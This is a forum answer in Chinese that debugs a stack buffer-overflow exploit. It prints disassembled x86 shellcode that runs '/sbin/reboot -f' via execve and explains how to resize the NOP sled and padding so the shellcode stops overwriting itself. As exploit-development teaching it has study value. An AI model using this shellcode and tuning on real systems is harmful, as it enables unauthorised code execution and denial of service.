2 回答

TA貢獻1799條經(jīng)驗 獲得超8個贊
所以根據(jù)我的計算,這就是你的 shellcode 正在做的事情(這里是 Intel Assembly 語法):
0xbffff19c: 31 c0 xor eax,eax
0xbffff19e: 50 push eax
0xbffff19f: 68 62 6f 6f 74 push 0x746f6f62
0xbffff1a3: 68 6e 2f 72 65 push 0x65722f6e
0xbffff1a9: 68 2f 73 62 69 push 0x6962732f
0xbffff1ae: 89 e3 mov ebx,esp
0xbffff1b0: 50 push eax
0xbffff1b1: 66 68 2d 66 pushw 0x662d
0xbffff1b5: 89 e6 mov esi,esp
0xbffff1b7: 50 push eax
0xbffff1b8: 56 push esi
0xbffff1b9: 53 push ebx
0xbffff1ba: 89 e1 mov ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
0xbffff1bc: b0 0b mov al,0xb
0xbffff1be: cd 80 int 0x80 ; syscall sys_execve()
分段錯誤發(fā)生在0xbffff1b8,即使您可以看到那里的操作碼完全有效。那么可能發(fā)生了什么?讓我們來看看...
您可能會注意到有相當多的pushing 正在發(fā)生。所有這些pushes 都會覆蓋調(diào)用堆棧中的數(shù)據(jù)。確切地說,總共 34 個字節(jié)。
是的,shellcode 本身存儲在同一個調(diào)用堆棧中......你在連接點嗎?shellcode 正在覆蓋自己并破壞它自己的代碼。它開始很好,但是當它到達時0xbffff1b8,有效代碼不再存在,因為它被其他東西完全覆蓋了。
您需要確保padding和eip組合的長度為 34 或更多,以便 shellcode 在開始覆蓋它自己的代碼之前有足夠的堆??臻g來工作。
也就是說,padding必須至少長 18 個字節(jié)。
將nopsled長度減少 32 個字節(jié),只是為了使它寬敞,然后將這些字節(jié)傳輸?shù)絧adding. 這應該為 shellcode 保留足夠的堆??臻g來完成它的工作而不會破壞自身。
而且由于當前eip地址是shellcode開始前的44個字節(jié),所以不需要調(diào)整。
還有其他一些事情需要注意,首先,一旦shellcode運行完畢,它就不再關(guān)心接下來會發(fā)生什么。這意味著即使按預期工作,該程序也會在完成調(diào)用重啟后崩潰。
此外,/sbin/reboot可能需要 root 訪問權(quán)限才能工作。如果這個進程不是以 root 身份運行,它不會重新啟動(它只會崩潰)。
添加回答
舉報